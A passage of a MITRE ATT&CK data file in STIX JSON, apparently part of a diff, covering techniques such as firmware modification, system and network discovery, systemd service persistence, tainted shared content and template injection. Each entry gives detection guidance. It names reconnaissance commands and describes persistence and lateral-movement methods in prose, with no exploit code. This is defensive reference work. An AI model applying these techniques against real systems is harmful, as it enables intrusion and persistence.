About UEFI)\n\nSystem firmware like BIOS and (U)EFI underly the functionality of a computer and may be modified by an adversary to perform or assist in malicious activity. Capabilities exist to overwrite the system firmware, which may give sophisticated adversaries a means to install malicious firmware updates as a means of persistence on a system that may be difficult to detect.", + "id": "attack-pattern--6856ddd6-2df3-4379-8b87-284603c189c3", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "System firmware manipulation may be detected. (Citation: MITRE Trustworthy Firmware Measurement) Dump and inspect BIOS images on vulnerable systems and compare against known good images. (Citation: MITRE Copernicus) Analyze differences to determine if malicious changes have occurred. Log attempts to read/write to BIOS and compare against known patching behavior.\n\nLikewise, EFI modules can be collected and compared against a known-clean list of EFI executable binaries to detect potentially malicious modules. The CHIPSEC framework can be used for analysis to determine if firmware modifications have been performed. (Citation: McAfee CHIPSEC Blog) (Citation: Github CHIPSEC) (Citation: Intel HackingTeam UEFI Rootkit)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Ryan Becwar", + "McAfee" + ], + "created": "2017-05-31T21:30:28.613Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "external_references": [ + { + "external_id": "T1019", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1019" + }, + { + "source_name": "capec", + "external_id": "CAPEC-532", + "url": "https://capec.mitre.org/data/definitions/532.html" + }, + { + "source_name": "Wikipedia BIOS", + "description": "Wikipedia. (n.d.). BIOS. Retrieved January 5, 2016.", + "url": "https://en.wikipedia.org/wiki/BIOS" + }, + { + "source_name": "Wikipedia UEFI", + "description": "Wikipedia. (2017, July 10). Unified Extensible Firmware Interface. Retrieved July 11, 2017.", + "url": "https://en.wikipedia.org/wiki/Unified_Extensible_Firmware_Interface" + }, + { + "source_name": "About UEFI", + "description": "UEFI Forum. (n.d.). About UEFI Forum. Retrieved January 5, 2016.", + "url": "http://www.uefi.org/about" + }, + { + "source_name": "MITRE Trustworthy Firmware Measurement", + "description": "Upham, K. (2014, March). Going Deep into the BIOS with MITRE Firmware Security Research. Retrieved January 5, 2016.", + "url": "http://www.mitre.org/publications/project-stories/going-deep-into-the-bios-with-mitre-firmware-security-research" + }, + { + "source_name": "MITRE Copernicus", + "description": "Butterworth, J. (2013, July 30). Copernicus: Question Your Assumptions about BIOS Security. Retrieved December 11, 2015.", + "url": "http://www.mitre.org/capabilities/cybersecurity/overview/cybersecurity-blog/copernicus-question-your-assumptions-about" + }, + { + "source_name": "McAfee CHIPSEC Blog", + "description": "Beek, C., Samani, R. (2017, March 8). CHIPSEC Support Against Vault 7 Disclosure Scanning. Retrieved March 13, 2017.", + "url": "https://securingtomorrow.mcafee.com/business/chipsec-support-vault-7-disclosure-scanning/" + }, + { + "source_name": "Github CHIPSEC", + "description": "Intel. (2017, March 18). CHIPSEC Platform Security Assessment Framework. Retrieved March 20, 2017.", + "url": "https://github.com/chipsec/chipsec" + }, + { + "source_name": "Intel HackingTeam UEFI Rootkit", + "description": "Intel Security. (2005, July 16). HackingTeam's UEFI Rootkit Details. Retrieved March 20, 2017.", + "url": "http://www.intelsecurity.com/advanced-threat-research/content/data/HT-UEFI-rootkit.html" + } + ], + "modified": "2019-06-21T18:26:25.489Z" + }, + { + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_data_sources": [ + "Azure activity logs", + "Stackdriver logs", + "AWS CloudTrail logs", + "Process monitoring", + "Process command-line parameters" + ], + "name": "System Information Discovery", + "description": "An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from [System Information Discovery](https://attack.mitre.org/techniques/T1082) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\n### Windows\n\nExample commands and utilities that obtain this information include ver, [Systeminfo](https://attack.mitre.org/software/S0096), and dir within [cmd](https://attack.mitre.org/software/S0106) for identifying information based on present files and directories.\n\n### Mac\n\nOn Mac, the systemsetup command gives a detailed breakdown of the system, but it requires administrative privileges. Additionally, the system_profiler gives a very detailed breakdown of configurations, firewall rules, mounted volumes, hardware, and many other things without needing elevated permissions.\n\n### AWS\n\nIn Amazon Web Services (AWS), the Application Discovery Service may be used by an adversary to identify servers, virtual machines, software, and software dependencies running.(Citation: Amazon System Discovery)\n\n### GCP\n\nOn Google Cloud Platform (GCP) GET /v1beta1/{parent=organizations/*}/assets or POST /v1beta1/{parent=organizations/*}/assets:runDiscovery may be used to list an organizations cloud assets, or perform asset discovery on a cloud environment.(Citation: Google Command Center Dashboard)\n\n### Azure\n\nIn Azure, the API request GET https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Compute/virtualMachines/{vmName}?api-version=2019-03-01 may be used to retrieve information about the model or instance view of a virtual machine.(Citation: Microsoft Virutal Machine API)", + "id": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "AWS", + "GCP", + "Azure" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "2.0", + "type": "attack-pattern", + "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086).\n\nIn cloud-based systems, native logging can be used to identify access to certain APIs and dashboards that may contain system information. Depending on how the environment is used, that data alone may not be useful due to benign use during normal operations.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Praetorian" + ], + "created": "2017-05-31T21:31:04.307Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "external_references": [ + { + "external_id": "T1082", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1082" + }, + { + "source_name": "capec", + "external_id": "CAPEC-312", + "url": "https://capec.mitre.org/data/definitions/312.html" + }, + { + "source_name": "Amazon System Discovery", + "description": "Amazon. (n.d.). What Is AWS Application Discovery Service?. Retrieved October 8, 2019.", + "url": "https://docs.aws.amazon.com/en_pv/application-discovery/latest/userguide/what-is-appdiscovery.html" + }, + { + "source_name": "Google Command Center Dashboard", + "description": "Google. (2019, October 3). Quickstart: Using the dashboard. Retrieved October 8, 2019.", + "url": "https://cloud.google.com/security-command-center/docs/quickstart-scc-dashboard" + }, + { + "source_name": "Microsoft Virutal Machine API", + "description": "Microsoft. (2019, March 1). Virtual Machines - Get. Retrieved October 8, 2019.", + "url": "https://docs.microsoft.com/en-us/rest/api/compute/virtualmachines/get" + } + ], + "modified": "2019-10-10T17:30:17.393Z" + }, + { + "x_mitre_data_sources": [ + "Process monitoring", + "Process command-line parameters" + ], + "x_mitre_permissions_required": [ + "User" + ], + "name": "System Network Configuration Discovery", + "description": "Adversaries will likely look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include [Arp](https://attack.mitre.org/software/S0099), [ipconfig](https://attack.mitre.org/software/S0100)/[ifconfig](https://attack.mitre.org/software/S0101), [nbtstat](https://attack.mitre.org/software/S0102), and [route](https://attack.mitre.org/software/S0103).\n\nAdversaries may use the information from [System Network Configuration Discovery](https://attack.mitre.org/techniques/T1016) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.", + "id": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.1", + "type": "attack-pattern", + "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:30:27.342Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "external_references": [ + { + "external_id": "T1016", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1016" + }, + { + "source_name": "capec", + "external_id": "CAPEC-309", + "url": "https://capec.mitre.org/data/definitions/309.html" + } + ], + "modified": "2019-08-12T19:44:26.156Z" + }, + { + "x_mitre_permissions_required": [ + "User", + "Administrator" + ], + "x_mitre_data_sources": [ + "Process monitoring", + "Process command-line parameters" + ], + "name": "System Network Connections Discovery", + "description": "Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network. \n\nAn adversary who gains access to a system that is part of a cloud-based environment may map out Virtual Private Clouds or Virtual Networks in order to determine what systems and services are connected. The actions performed are likely the same types of discovery techniques depending on the operating system, but the resulting information may include details about the networked cloud environment relevant to the adversary's goals. Cloud providers may have different ways in which their virtual networks operate.(Citation: Amazon AWS VPC Guide)(Citation: Microsoft Azure Virtual Network Overview)(Citation: Google VPC Overview)\n\n### Windows\n\nUtilities and commands that acquire this information include [netstat](https://attack.mitre.org/software/S0104), \"net use,\" and \"net session\" with [Net](https://attack.mitre.org/software/S0039).\n\n### Mac and Linux \n\nIn Mac and Linux, netstat and lsof can be used to list current connections. who -a and w can be used to show which users are currently logged in, similar to \"net session\".", + "id": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "AWS", + "GCP", + "Azure" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "2.0", + "type": "attack-pattern", + "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Praetorian" + ], + "created": "2017-05-31T21:30:45.139Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "external_references": [ + { + "external_id": "T1049", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1049" + }, + { + "description": "Amazon. (n.d.). What Is Amazon VPC?. Retrieved October 6, 2019.", + "source_name": "Amazon AWS VPC Guide", + "url": "https://docs.aws.amazon.com/vpc/latest/userguide/what-is-amazon-vpc.html" + }, + { + "description": "Annamalai, N., Casey, C., Almeida, M., et. al.. (2019, June 18). What is Azure Virtual Network?. Retrieved October 6, 2019.", + "source_name": "Microsoft Azure Virtual Network Overview", + "url": "https://docs.microsoft.com/en-us/azure/virtual-network/virtual-networks-overview" + }, + { + "description": "Google. (2019, September 23). Virtual Private Cloud (VPC) network overview. Retrieved October 6, 2019.", + "source_name": "Google VPC Overview", + "url": "https://cloud.google.com/vpc/docs/vpc" + } + ], + "modified": "2019-10-06T17:57:39.670Z" + }, + { + "x_mitre_permissions_required": [ + "User", + "Administrator" + ], + "x_mitre_data_sources": [ + "File monitoring", + "Process monitoring", + "Process command-line parameters" + ], + "name": "System Owner/User Discovery", + "description": "### Windows\n\nAdversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using [Credential Dumping](https://attack.mitre.org/techniques/T1003). The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\n### Mac\n\nOn Mac, the currently logged in user can be identified with users,w, and who.\n\n### Linux\n\nOn Linux, the currently logged in user can be identified with w and who.", + "id": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.1", + "type": "attack-pattern", + "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:30:35.733Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "external_references": [ + { + "external_id": "T1033", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1033" + }, + { + "source_name": "capec", + "external_id": "CAPEC-577", + "url": "https://capec.mitre.org/data/definitions/577.html" + } + ], + "modified": "2019-08-12T19:47:54.288Z" + }, + { + "x_mitre_data_sources": [ + "Process monitoring", + "Process command-line parameters" + ], + "x_mitre_permissions_required": [ + "User", + "Administrator", + "SYSTEM" + ], + "name": "System Service Discovery", + "description": "Adversaries may try to get information about registered services. Commands that may obtain information about services using operating system utilities are \"sc,\" \"tasklist /svc\" using [Tasklist](https://attack.mitre.org/software/S0057), and \"net start\" using [Net](https://attack.mitre.org/software/S0039), but adversaries may also use other tools as well. Adversaries may use the information from [System Service Discovery](https://attack.mitre.org/techniques/T1007) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.", + "id": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.1", + "type": "attack-pattern", + "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system information related to services. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:30:21.315Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "external_references": [ + { + "external_id": "T1007", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1007" + }, + { + "source_name": "capec", + "external_id": "CAPEC-574", + "url": "https://capec.mitre.org/data/definitions/574.html" + } + ], + "modified": "2019-08-12T19:54:54.167Z" + }, + { + "x_mitre_data_sources": [ + "Windows event logs", + "Process command-line parameters", + "Process monitoring" + ], + "x_mitre_permissions_required": [ + "User", + "Administrator", + "root", + "SYSTEM" + ], + "name": "System Shutdown/Reboot", + "description": "Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer.(Citation: Microsoft Shutdown Oct 2017) Shutting down or rebooting systems may disrupt access to computer resources for legitimate users.\n\nAdversaries may attempt to shutdown/reboot a system after impacting it in other ways, such as [Disk Structure Wipe](https://attack.mitre.org/techniques/T1487) or [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490), to hasten the intended effects on system availability.(Citation: Talos Nyetya June 2017)(Citation: Talos Olympic Destroyer 2018)", + "id": "attack-pattern--ff73aa03-0090-4464-83ac-f89e233c02bc", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_impact_type": [ + "Availability" + ], + "type": "attack-pattern", + "x_mitre_detection": "Use process monitoring to monitor the execution and command line parameters of binaries involved in shutting down or rebooting systems. Windows event logs may also designate activity associated with a shutdown/reboot, ex. Event ID 1074 and 6006.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-04T20:42:28.541Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "impact" + } + ], + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1529", + "url": "https://attack.mitre.org/techniques/T1529" + }, + { + "description": "Microsoft. (2017, October 15). Shutdown. Retrieved October 4, 2019.", + "source_name": "Microsoft Shutdown Oct 2017", + "url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/shutdown" + }, + { + "description": "Chiu, A. (2016, June 27). New Ransomware Variant \"Nyetya\" Compromises Systems Worldwide. Retrieved March 26, 2019.", + "source_name": "Talos Nyetya June 2017", + "url": "https://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html" + }, + { + "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.", + "source_name": "Talos Olympic Destroyer 2018", + "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html" + } + ], + "modified": "2019-10-09T18:26:25.824Z" + }, + { + "x_mitre_data_sources": [ + "Process monitoring", + "Process command-line parameters", + "API monitoring" + ], + "x_mitre_permissions_required": [ + "User" + ], + "name": "System Time Discovery", + "description": "The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network. (Citation: MSDN System Time) (Citation: Technet Windows Time Service)\n\nAn adversary may gather the system time and/or time zone from a local or remote system. This information may be gathered in a number of ways, such as with [Net](https://attack.mitre.org/software/S0039) on Windows by performing net time \\\\hostname to gather the system time on a remote system. The victim's time zone may also be inferred from the current system time or gathered by using w32tm /tz. (Citation: Technet Windows Time Service) The information could be useful for performing other techniques, such as executing a file with a [Scheduled Task](https://attack.mitre.org/techniques/T1053) (Citation: RSA EU12 They're Inside), or to discover locality information based on time zone to assist in victim targeting.", + "id": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "Command-line interface monitoring may be useful to detect instances of net.exe or other command-line utilities being used to gather system time or time zone. Methods of detecting API use for gathering this information are likely less useful due to how often they may be used by legitimate software.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:31:37.450Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "external_references": [ + { + "external_id": "T1124", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1124" + }, + { + "source_name": "capec", + "external_id": "CAPEC-295", + "url": "https://capec.mitre.org/data/definitions/295.html" + }, + { + "source_name": "MSDN System Time", + "description": "Microsoft. (n.d.). System Time. Retrieved November 25, 2016.", + "url": "https://msdn.microsoft.com/ms724961.aspx" + }, + { + "source_name": "Technet Windows Time Service", + "description": "Mathers, B. (2016, September 30). Windows Time Service Tools and Settings. Retrieved November 25, 2016.", + "url": "https://technet.microsoft.com/windows-server-docs/identity/ad-ds/get-started/windows-time-service/windows-time-service-tools-and-settings" + }, + { + "source_name": "RSA EU12 They're Inside", + "description": "Rivner, U., Schwartz, E. (2012). They\u2019re Inside\u2026 Now What?. Retrieved November 25, 2016.", + "url": "https://www.rsaconference.com/writable/presentations/file_upload/ht-209_rivner_schwartz.pdf" + } + ], + "modified": "2019-06-18T14:07:20.239Z" + }, + { + "x_mitre_data_sources": [ + "Process command-line parameters", + "Process monitoring", + "File monitoring" + ], + "x_mitre_permissions_required": [ + "root", + "User" + ], + "name": "Systemd Service", + "description": "Systemd services can be used to establish persistence on a Linux system. The systemd service manager is commonly used for managing background daemon processes (also known as services) and other system resources.(Citation: Linux man-pages: systemd January 2014)(Citation: Freedesktop.org Linux systemd 29SEP2018) Systemd is the default initialization (init) system on many Linux distributions starting with Debian 8, Ubuntu 15.04, CentOS 7, RHEL 7, Fedora 15, and replaces legacy init systems including SysVinit and Upstart while remaining backwards compatible with the aforementioned init systems.\n\nSystemd utilizes configuration files known as service units to control how services boot and under what conditions. By default, these unit files are stored in the /etc/systemd/system and /usr/lib/systemd/system directories and have the file extension .service. Each service unit file may contain numerous directives that can execute system commands. \n\n* ExecStart, ExecStartPre, and ExecStartPost directives cover execution of commands when a services is started manually by 'systemctl' or on system start if the service is set to automatically start. \n* ExecReload directive covers when a service restarts. \n* ExecStop and ExecStopPost directives cover when a service is stopped or manually by 'systemctl'.\n\nAdversaries have used systemd functionality to establish persistent access to victim systems by creating and/or modifying service unit files that cause systemd to execute malicious commands at recurring intervals, such as at system boot.(Citation: Anomali Rocke March 2019)(Citation: gist Arch package compromise 10JUL2018)(Citation: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018)(Citation: acroread package compromised Arch Linux Mail 8JUL2018)\n\nWhile adversaries typically require root privileges to create/modify service unit files in the /etc/systemd/system and /usr/lib/systemd/system directories, low privilege users can create/modify service unit files in directories such as ~/.config/systemd/user/ to achieve user-level persistence.(Citation: Rapid7 Service Persistence 22JUNE2016)", + "id": "attack-pattern--0fff2797-19cb-41ea-a5f1-8a9303b8158e", + "x_mitre_platforms": [ + "Linux" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "Systemd service unit files may be detected by auditing file creation and modification events within the /etc/systemd/system, /usr/lib/systemd/system/, and /home//.config/systemd/user/ directories, as well as associated symbolic links. Suspicious processes or scripts spawned in this manner will have a parent process of \u2018systemd\u2019, a parent process ID of 1, and will usually execute as the \u2018root\u2019 user.\n\nSuspicious systemd services can also be identified by comparing results against a trusted system baseline. Malicious systemd services may be detected by using the systemctl utility to examine system wide services: systemctl list-units -\u2013type=service \u2013all. Analyze the contents of .service files present on the file system and ensure that they refer to legitimate, expected executables.\n\nAuditing the execution and command-line arguments of the 'systemctl' utility, as well related utilities such as /usr/sbin/service may reveal malicious systemd service execution.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Tony Lambert, Red Canary" + ], + "created": "2019-04-23T15:34:30.008Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1501", + "url": "https://attack.mitre.org/techniques/T1501" + }, + { + "description": "Linux man-pages. (2014, January). systemd(1) - Linux manual page. Retrieved April 23, 2019.", + "source_name": "Linux man-pages: systemd January 2014", + "url": "http://man7.org/linux/man-pages/man1/systemd.1.html" + }, + { + "description": "Freedesktop.org. (2018, September 29). systemd System and Service Manager. Retrieved April 23, 2019.", + "source_name": "Freedesktop.org Linux systemd 29SEP2018", + "url": "https://www.freedesktop.org/wiki/Software/systemd/" + }, + { + "description": "Anomali Labs. (2019, March 15). Rocke Evolves Its Arsenal With a New Malware Family Written in Golang. Retrieved April 24, 2019.", + "source_name": "Anomali Rocke March 2019", + "url": "https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang" + }, + { + "description": "Catalin Cimpanu. (2018, July 10). ~x file downloaded in public Arch package compromise. Retrieved April 23, 2019.", + "source_name": "gist Arch package compromise 10JUL2018", + "url": "https://gist.github.com/campuscodi/74d0d2e35d8fd9499c76333ce027345a" + }, + { + "description": "Catalin Cimpanu. (2018, July 10). Malware Found in Arch Linux AUR Package Repository. Retrieved April 23, 2019.", + "source_name": "Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018", + "url": "https://www.bleepingcomputer.com/news/security/malware-found-in-arch-linux-aur-package-repository/" + }, + { + "description": "Eli Schwartz. (2018, June 8). acroread package compromised. Retrieved April 23, 2019.", + "source_name": "acroread package compromised Arch Linux Mail 8JUL2018", + "url": "https://lists.archlinux.org/pipermail/aur-general/2018-July/034153.html" + }, + { + "description": "Rapid7. (2016, June 22). Service Persistence. Retrieved April 23, 2019.", + "source_name": "Rapid7 Service Persistence 22JUNE2016", + "url": "https://www.rapid7.com/db/modules/exploit/linux/local/service_persistence" + } + ], + "modified": "2019-07-18T18:46:58.577Z" + }, + { + "x_mitre_data_sources": [ + "File monitoring", + "Process monitoring" + ], + "x_mitre_permissions_required": [ + "User" + ], + "name": "Taint Shared Content", + "description": "Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.\n\nA directory share pivot is a variation on this technique that uses several other techniques to propagate malware when users access a shared network directory. It uses [Shortcut Modification](https://attack.mitre.org/techniques/T1023) of directory .LNK files that use [Masquerading](https://attack.mitre.org/techniques/T1036) to look like the real directories, which are hidden through [Hidden Files and Directories](https://attack.mitre.org/techniques/T1158). The malicious .LNK-based directories have an embedded command that executes the hidden malware file in the directory and then opens the real intended directory so that the user's expected action still occurs. When used with frequently used network directories, the technique may result in frequent reinfections and broad access to systems and potentially to new and higher privileged accounts. (Citation: Retwin Directory Share Pivot)\n\nAdversaries may also compromise shared network directories through binary infections by appending or prepending its code to the healthy binary on the shared network directory. The malware may modify the original entry point (OEP) of the healthy binary to ensure that it is executed before the legitimate code. The infection could continue to spread via the newly infected file when it is executed by a remote system. These infections may target both binary and non-binary formats that end with extensions including, but not limited to, .EXE, .DLL, .SCR, .BAT, and/or .VBS.", + "id": "attack-pattern--246fd3c7-f5e3-466d-8787-4c13d9e3b61c", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.1", + "x_mitre_system_requirements": [ + "Access to shared folders and content with write permissions" + ], + "type": "attack-pattern", + "x_mitre_detection": "Processes that write or overwrite many files to a network shared directory may be suspicious. Monitor processes that are executed from removable media for malicious or abnormal activity such as network connections due to Command and Control and possible network Discovery techniques.\n\nFrequently scan shared network directories for malicious files, hidden files, .LNK files, and other file types that may not typical exist in directories used to share specific types of content.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Michal Dida, ESET", + "David Routin" + ], + "created": "2017-05-31T21:31:01.759Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "lateral-movement" + } + ], + "external_references": [ + { + "external_id": "T1080", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1080" + }, + { + "source_name": "capec", + "external_id": "CAPEC-562", + "url": "https://capec.mitre.org/data/definitions/562.html" + }, + { + "description": "Routin, D. (2017, November 13). Abusing network shares for efficient lateral movements and privesc (DirSharePivot). Retrieved April 12, 2018.", + "source_name": "Retwin Directory Share Pivot", + "url": "https://rewtin.blogspot.ch/2017/11/abusing-user-shares-for-efficient.html" + } + ], + "modified": "2019-06-21T17:38:45.290Z" + }, + { + "x_mitre_data_sources": [ + "Anti-virus", + "Email gateway", + "Network intrusion detection system", + "Web logs" + ], + "x_mitre_permissions_required": [ + "User" + ], + "name": "Template Injection", + "description": "Microsoft\u2019s Open Office XML (OOXML) specification defines an XML-based format for Office documents (.docx, xlsx, .pptx) to replace older binary formats (.doc, .xls, .ppt). OOXML files are packed together ZIP archives compromised of various XML files, referred to as parts, containing properties that collectively define how a document is rendered. (Citation: Microsoft Open XML July 2017)\n\nProperties within parts may reference shared public resources accessed via online URLs. For example, template properties reference a file, serving as a pre-formatted document blueprint, that is fetched when the document is loaded.\n\nAdversaries may abuse this technology to initially conceal malicious code to be executed via documents (i.e. [Scripting](https://attack.mitre.org/techniques/T1064)). Template references injected into a document may enable malicious payloads to be fetched and executed when the document is loaded. (Citation: SANS Brian Wiltse Template Injection) These documents can be delivered via other techniques such as [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) and/or [Taint Shared Content](https://attack.mitre.org/techniques/T1080) and may evade static detections since no typical indicators (VBA macro, script, etc.) are present until after the malicious payload is fetched. (Citation: Redxorblue Remote Template Injection) Examples have been seen in the wild where template injection was used to load malicious code containing an exploit. (Citation: MalwareBytes Template Injection OCT 2017)\n\nThis technique may also enable [Forced Authentication](https://attack.mitre.org/techniques/T1187) by injecting a 